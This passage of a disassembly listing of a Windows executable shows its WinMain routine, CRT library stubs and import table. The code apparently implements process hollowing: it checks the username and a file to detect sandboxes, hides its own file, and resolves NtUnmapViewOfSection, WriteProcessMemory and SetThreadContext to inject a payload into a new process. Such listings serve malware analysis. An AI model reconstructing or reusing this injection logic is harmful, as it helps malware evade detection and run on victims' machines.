SendMessageA push 0 ; lParam push 1 ; wParam push ebx ; Msg push esi ; hWnd call edi ; SendMessageA mov edi, ds:IsWindow jmp short loc_401A9D ; --------------------------------------------------------------------------- loc_401A99: ; CODE XREF: StartAddress+8Aj push 32h ; dwMilliseconds call ebp ; Sleep loc_401A9D: ; CODE XREF: StartAddress+7Fj push esi ; hWnd call edi ; IsWindow test eax, eax jnz short loc_401A99 loc_401AA4: ; CODE XREF: StartAddress+5Cj pop edi pop esi pop ebp xor eax, eax pop ebx retn 4 StartAddress endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+186p Context = CONTEXT ptr -528h flOldProtect = dword ptr -25Ch FileName = byte ptr -17Ch var_7C = dword ptr -7Ch ProcessInformation= _PROCESS_INFORMATION ptr -3Ch var_2C = dword ptr -2Ch lpAddress = dword ptr -14h dwSize = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch lpCmdLine = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp sub esp, 528h push ebx push esi push edi push 100h ; nSize lea eax, [ebp+FileName] push eax ; lpFilename xor ebx, ebx push ebx ; hModule call ds:GetModuleFileNameA ; GetModuleFileNameA push ebx ; lpThreadId push ebx ; dwCreationFlags push ebx ; lpParameter push offset StartAddress ; lpStartAddress push ebx ; dwStackSize push ebx ; lpThreadAttributes call ds:CreateThread ; CreateThread lea eax, [ebp+FileName] push eax ; lpFileName push ebx ; int call sub_401868 pop ecx pop ecx call sub_40194D test al, al jnz loc_401C61 call sub_4019A8 test eax, eax jnz loc_401C61 call sub_4019D8 test al, al jnz loc_401C61 push 6 ; dwFileAttributes lea eax, [ebp+FileName] push eax ; lpFileName call ds:SetFileAttributesA ; SetFileAttributesA mov esi, ds:GetModuleHandleA push offset aVirtualalloc ; "VirtualAlloc" push offset ModuleName ; "kernel32.dll" call esi ; GetModuleHandleA mov edi, ds:GetProcAddress push eax ; hModule call edi ; GetProcAddress mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+flOldProtect] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_7C] push ebx push eax call sub_4011C7 add esp, 14h test al, al jz loc_401C61 push [ebp+var_C] lea eax, [ebp+flOldProtect] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_7C] push eax call sub_4013AF add esp, 10h push 40h push 1000h push eax push ebx mov [ebp+var_8], eax call [ebp+var_4] push eax ; Dst push [ebp+var_C] ; int mov dword_4362AC, eax lea eax, [ebp+flOldProtect] push eax ; Size push ebx ; int lea eax, [ebp+var_2C] push eax ; int lea eax, [ebp+var_7C] push eax ; int call sub_401424 push ebx lea eax, [ebp+lpAddress] push eax ; int lea eax, [ebp+Context] push eax ; lpContext push ebx ; int lea eax, [ebp+ProcessInformation] push eax ; lpProcessInformation lea eax, [ebp+FileName] push eax ; lpCommandLine call sub_401612 add esp, 30h push offset aWriteprocessme ; "WriteProcessMemory" push offset ModuleName ; "kernel32.dll" call esi ; GetModuleHandleA push eax ; hModule call edi ; GetProcAddress push [ebp+dwSize] ; dwSize mov [ebp+var_4], eax push [ebp+lpAddress] ; lpAddress mov ecx, 0B3h sub esp, 2CCh mov edi, esp sub esp, 10h lea esi, [ebp+Context] rep movsd mov edi, esp lea eax, [ebp+FileName] push eax ; int push [ebp+var_8] ; int lea esi, [ebp+ProcessInformation] push dword_4362AC ; int movsd push [ebp+var_C] ; int movsd lea eax, [ebp+flOldProtect] push eax ; flOldProtect push ebx ; int lea eax, [ebp+var_2C] movsd push eax ; int lea eax, [ebp+var_7C] push eax ; int movsd call sub_4016ED add esp, 304h push ebx push [ebp+var_8] push dword_4362AC push dword_4362BC push dword_4362B0 call [ebp+var_4] test eax, eax setnz al mov byte_4362B4, al push [ebp+var_8] push ebx call sub_401854 pop ecx pop ecx loc_401C61: ; CODE XREF: WinMain(x,x,x,x)+47j ; WinMain(x,x,x,x)+54j ... pop edi pop esi xor eax, eax pop ebx leave retn 10h _WinMain@16 endp ; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] db 0CCh ; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND] ; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403992 proc near ; CODE XREF: start:loc_402245p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_4066D0 call __SEH_prolog mov [ebp+var_1C], offset dword_406ECC loc_4039A5: ; CODE XREF: sub_403992+3Cj cmp [ebp+var_1C], offset dword_406ECC jnb short loc_4039D0 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_4039C6 call eax jmp short loc_4039C6 ; --------------------------------------------------------------------------- loc_4039BF: ; DATA XREF: .rdata:stru_4066D0o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4039C3: ; DATA XREF: .rdata:stru_4066D0o mov esp, [ebp+ms_exc.old_esp] loc_4039C6: ; CODE XREF: sub_403992+27j ; sub_403992+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_4039A5 ; --------------------------------------------------------------------------- loc_4039D0: ; CODE XREF: sub_403992+1Aj call __SEH_epilog retn sub_403992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; void __cdecl sub_4039D6() sub_4039D6 proc near ; DATA XREF: __cinit:loc_402F42o var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_4066E0 call __SEH_prolog mov [ebp+var_1C], offset dword_406ED4 loc_4039E9: ; CODE XREF: sub_4039D6+3Cj cmp [ebp+var_1C], offset dword_406ED4 jnb short loc_403A14 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_403A0A call eax jmp short loc_403A0A ; --------------------------------------------------------------------------- loc_403A03: ; DATA XREF: .rdata:stru_4066E0o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_403A07: ; DATA XREF: .rdata:stru_4066E0o mov esp, [ebp+ms_exc.old_esp] loc_403A0A: ; CODE XREF: sub_4039D6+27j ; sub_4039D6+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_4039E9 ; --------------------------------------------------------------------------- loc_403A14: ; CODE XREF: sub_4039D6+1Aj call __SEH_epilog retn sub_4039D6 endp ; --------------------------------------------------------------------------- align 4 ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] ; [00000082 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] ; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_404315. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_404301 proc near ; DATA XREF: .rdata:stru_406760o xor eax, eax inc eax retn sub_404301 endp ; =============== S U B R O U T I N E ======================================= sub_404305 proc near ; DATA XREF: .rdata:stru_406760o mov esp, [ebp-18h] sub_404305 endp ; sp-analysis failed ; [0000000C BYTES: COLLAPSED CHUNK OF FUNCTION sub_404315. PRESS KEYPAD "+" TO EXPAND] db 0CCh ; [0000000E BYTES: COLLAPSED FUNCTION sub_404315. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __NLG_Notify1: push ebx push ecx mov ebx, offset dword_408290 jmp short loc_404868 ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] ; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+" TO EXPAND] ; [00000162 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND] ; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND] ; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND] db 0CCh ; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND] ; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO EXPAND] ; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] ; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO EXPAND] align 10h __allmul: mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_4057C9 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4057C9: ; CODE XREF: .text:004057BEj push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_405868 proc near ; DATA XREF: .data:00408008o push offset aReadprocessmem ; "ReadProcessMemory" push offset ModuleName ; "kernel32.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4362C0, eax retn sub_405868 endp ; =============== S U B R O U T I N E ======================================= sub_405885 proc near ; DATA XREF: .data:0040800Co push offset aSetthreadconte ; "SetThreadContext" push offset ModuleName ; "kernel32.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4362C8, eax retn sub_405885 endp ; =============== S U B R O U T I N E ======================================= sub_4058A2 proc near ; DATA XREF: .data:00408010o push offset aNtunmapviewofs ; "NtUnmapViewOfSection" push offset LibFileName ; "ntdll.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4362C4, eax retn sub_4058A2 endp ; --------------------------------------------------------------------------- align 200h _text ends ; Section 2. (virtual address 00006000) ; Virtual size : 00001510 ( 5392.) ; Section size in file : 00001600 ( 5632.) ; Offset to raw data for section: 00004E00 ; Flags 40000040: Data Readable ; Alignment : default ; ; Imports from ADVAPI32.dll ; ; =========================================================================== ; Segment type: Externs ; _idata ; BOOL __stdcall GetUserNameA(LPSTR lpBuffer, LPDWORD pcbBuffer) extrn GetUserNameA:dword ; CODE XREF: sub_40194D+24p ; DATA XREF: sub_40194D+24r ; ; Imports from KERNEL32.dll ; ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn LoadLibraryA:dword ; CODE XREF: sub_401000+21p ; ___crtMessageBoxA+18p ; DATA XREF: ... ; SIZE_T __stdcall VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) extrn VirtualQueryEx:dword ; CODE XREF: sub_4015FA+11p ; DATA XREF: sub_4015FA+11r ; BOOL __stdcall GetThreadContext(HANDLE hThread, LPCONTEXT lpContext) extrn GetThreadContext:dword ; CODE XREF: sub_401612+46p ; DATA XREF: sub_401612+46r ; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) extrn CreateProcessA:dword ; CODE XREF: sub_401612+2Ap ; DATA XREF: sub_401612+2Ar ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn GetModuleHandleA:dword ; CODE XREF: sub_4016ED+E2p ; sub_4019D8+11p ... ; BOOL __stdcall VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) extrn VirtualProtectEx:dword ; CODE XREF: sub_4016ED+3Ap ; DATA XREF: sub_4016ED+3Ar ; LPVOID __stdcall VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn VirtualAllocEx:dword ; CODE XREF: sub_4016ED+72p ; sub_4016ED+9Ep ; DATA XREF: ... ; DWORD __stdcall ResumeThread(HANDLE hThread) extrn ResumeThread:dword ; CODE XREF: sub_401854+Dp ; DATA XREF: sub_401854+Dr ; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) extrn ReadFile:dword ; CODE XREF: sub_401868+53p ; DATA XREF: sub_401868+53r ; DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh) extrn GetFileSize:dword ; CODE XREF: sub_401868+29p ; DATA XREF: sub_401868+29r ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) extrn CreateFileA:dword ; CODE XREF: sub_401868+1Cp ; sub_4019A8+17p ; DATA XREF: ... ; int __stdcall lstrcmpA(LPCSTR lpString1, LPCSTR lpString2) extrn lstrcmpA:dword ; CODE XREF: sub_40194D+3Dp ; sub_40194D+4Cp ; DATA XREF: ... ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn CloseHandle:dword ; CODE XREF: sub_4019A8+23p ; DATA XREF: sub_4019A8+23r ; BOOL __stdcall ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead) extrn ReadProcessMemory:dword ; CODE XREF: sub_4019D8+2Dp ; DATA XREF: sub_4019D8+2Dr ; HANDLE __stdcall GetCurrentProcess() extrn GetCurrentProcess:dword ; CODE XREF: sub_4019D8+26p ; _doexit+13p ; DATA XREF: ... ; void __stdcall Sleep(DWORD dwMilliseconds) extrn Sleep:dword ; CODE XREF: StartAddress+2Dp ; StartAddress+53p ... ; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName, DWORD dwFileAttributes) extrn SetFileAttributesA:dword ; CODE XREF: WinMain(x,x,x,x)+70p ; DATA XREF: WinMain(x,x,x,x)+70r ; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) extrn CreateThread:dword ; CODE XREF: WinMain(x,x,x,x)+2Bp ; DATA XREF: WinMain(x,x,x,x)+2Br ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize) extrn GetModuleFileNameA:dword ; CODE XREF: WinMain(x,x,x,x)+1Bp ; __NMSG_WRITE+81p ... ; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) extrn HeapAlloc:dword ; CODE XREF: __heap_alloc+3Ep ; ___sbh_heap_init+Dp ... ; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo) extrn GetStartupInfoA:dword ; CODE XREF: start+160p ; __ioinit+57p ; DATA XREF: ... ; LPSTR __stdcall GetCommandLineA() extrn GetCommandLineA:dword ; CODE XREF: start:loc_40225Ep ; DATA XREF: start:loc_40225Er ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation) extrn GetVersionExA:dword ; CODE XREF: start+20p ; DATA XREF: start+20r ; BOOL __stdcall HeapDestroy(HANDLE hHeap) extrn HeapDestroy:dword ; CODE XREF: __heap_init+44p ; DATA XREF: __heap_init+44r ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize) extrn HeapCreate:dword ; CODE XREF: __heap_init+11p ; DATA XREF: __heap_init+11r ; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) extrn VirtualFree:dword ; CODE XREF: ___sbh_free_block+247p ; ___sbh_free_block+2A2p ; DATA XREF: ... ; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) extrn HeapFree:dword ; CODE XREF: ___sbh_free_block+2B4p ; ___sbh_alloc_new_region+95p ... ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn VirtualAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+7Ep ; ___sbh_alloc_new_group+52p ... ; LPVOID __stdcall HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes) extrn HeapReAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+27p ; _realloc+FDp ... ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; CODE XREF: unknown_libname_1+29p ; sub_404315-7p ; DATA XREF: ... ; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName) extrn GetProcAddress:dword ; CODE XREF: sub_401000+3Ap ; sub_401000+45p ... ; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) extrn WriteFile:dword ; CODE XREF: __NMSG_WRITE+155p ; DATA XREF: __NMSG_WRITE+155r ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle) extrn GetStdHandle:dword ; CODE XREF: __NMSG_WRITE+14Ep ; __ioinit+157p ; DATA XREF: ... ; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo) extrn UnhandledExceptionFilter:dword ; CODE XREF: __XcptFilter+167p ; DATA XREF: __XcptFilter+167r ; BOOL __stdcall FreeEnvironmentStringsA(LPCH) extrn FreeEnvironmentStringsA:dword ; CODE XREF: ___crtGetEnvironmentStringsA+113p ; DATA XREF: ___crtGetEnvironmentStringsA+113r ; LPCH __stdcall GetEnvironmentStrings() extrn GetEnvironmentStrings:dword ; CODE XREF: ___crtGetEnvironmentStringsA:loc_40379Cp ; DATA XREF: ___crtGetEnvironmentStringsA:loc_40379Cr ; BOOL __stdcall FreeEnvironmentStringsW(LPWCH) extrn FreeEnvironmentStringsW:dword ; CODE XREF: ___crtGetEnvironmentStringsA+C1p ; DATA XREF: ___crtGetEnvironmentStringsA+C1r ; int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar) extrn WideCharToMultiByte:dword ; CODE XREF: ___crtGetEnvironmentStringsA+86p ; ___crtGetEnvironmentStringsA+A8p ... ; DWORD __stdcall GetLastError() extrn GetLastError:dword ; CODE XREF: ___crtGetEnvironmentStringsA:loc_4036F5p ; ___crtLCMapStringA:loc_404E20p ... ; LPWCH __stdcall GetEnvironmentStringsW() extrn GetEnvironmentStringsW:dword ; CODE XREF: ___crtGetEnvironmentStringsA+1Cp ; ___crtGetEnvironmentStringsA+52p ; DATA XREF: ... ; UINT __stdcall SetHandleCount(UINT uNumber) extrn SetHandleCount:dword ; CODE XREF: __ioinit+19Cp ; DATA XREF: __ioinit+19Cr ; DWORD __stdcall GetFileType(HANDLE hFile) extrn GetFileType:dword ; CODE XREF: __ioinit+FEp ; __ioinit+165p ; DATA XREF: ... ; UINT __stdcall GetACP() extrn GetACP:dword ; CODE XREF: __setmbcp+42p ; DATA XREF: __setmbcp+42r ; UINT __stdcall GetOEMCP() extrn GetOEMCP:dword ; CODE XREF: __setmbcp+2Bp ; DATA XREF: __setmbcp+2Br ; BOOL __stdcall GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo) extrn GetCPInfo:dword ; CODE XREF: _setSBUpLow+1Cp ; __setmbcp+93p ... extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr ; LONG __stdcall InterlockedExchange(volatile LONG *Target, LONG Value) extrn InterlockedExchange:dword ; CODE XREF: __ValidateEH3RN+131p ; __ValidateEH3RN+196p ... ; SIZE_T __stdcall VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) extrn VirtualQuery:dword ; CODE XREF: __ValidateEH3RN+B3p ; __resetstkoflw+1Ap ... ; SIZE_T __stdcall HeapSize(HANDLE hHeap, DWORD dwFlags, LPCVOID lpMem) extrn HeapSize:dword ; CODE XREF: __msize+30p ; DATA XREF: __msize+30r ; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount) extrn QueryPerformanceCounter:dword ; CODE XREF: ___security_init_cookie+43p ; DATA XREF: ___security_init_cookie+43r ; DWORD __stdcall GetTickCount() extrn GetTickCount:dword ; CODE XREF: ___security_init_cookie+37p ; DATA XREF: ___security_init_cookie+37r ; DWORD __stdcall GetCurrentThreadId() extrn GetCurrentThreadId:dword ; CODE XREF: ___security_init_cookie+2Fp ; DATA XREF: ___security_init_cookie+2Fr ; DWORD __stdcall GetCurrentProcessId() extrn GetCurrentProcessId:dword ; CODE XREF: ___security_init_cookie+27p ; DATA XREF: ___security_init_cookie+27r ; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime) extrn GetSystemTimeAsFileTime:dword ; CODE XREF: ___security_init_cookie+1Bp ; DATA XREF: ___security_init_cookie+1Br ; int __stdcall LCMapStringA(LCID Locale, DWORD dwMapFlags, LPCSTR lpSrcStr, int cchSrc, LPSTR lpDestStr, int cchDest) extrn LCMapStringA:dword ; CODE XREF: ___crtLCMapStringA+2C3p ; ___crtLCMapStringA+344p ... ; int __stdcall MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar) extrn MultiByteToWideChar:dword ; CODE XREF: ___crtLCMapStringA+C0p ; ___crtLCMapStringA+141p ... ; int __stdcall LCMapStringW(LCID Locale, DWORD dwMapFlags, LPCWSTR lpSrcStr, int cchSrc, LPWSTR lpDestStr, int cchDest) extrn LCMapStringW:dword ; CODE XREF: ___crtLCMapStringA+27p ; ___crtLCMapStringA+15Bp ... ; BOOL __stdcall GetStringTypeA(LCID Locale, DWORD dwInfoType, LPCSTR lpSrcStr, int cchSrc, LPWORD lpCharType) extrn GetStringTypeA:dword ; CODE 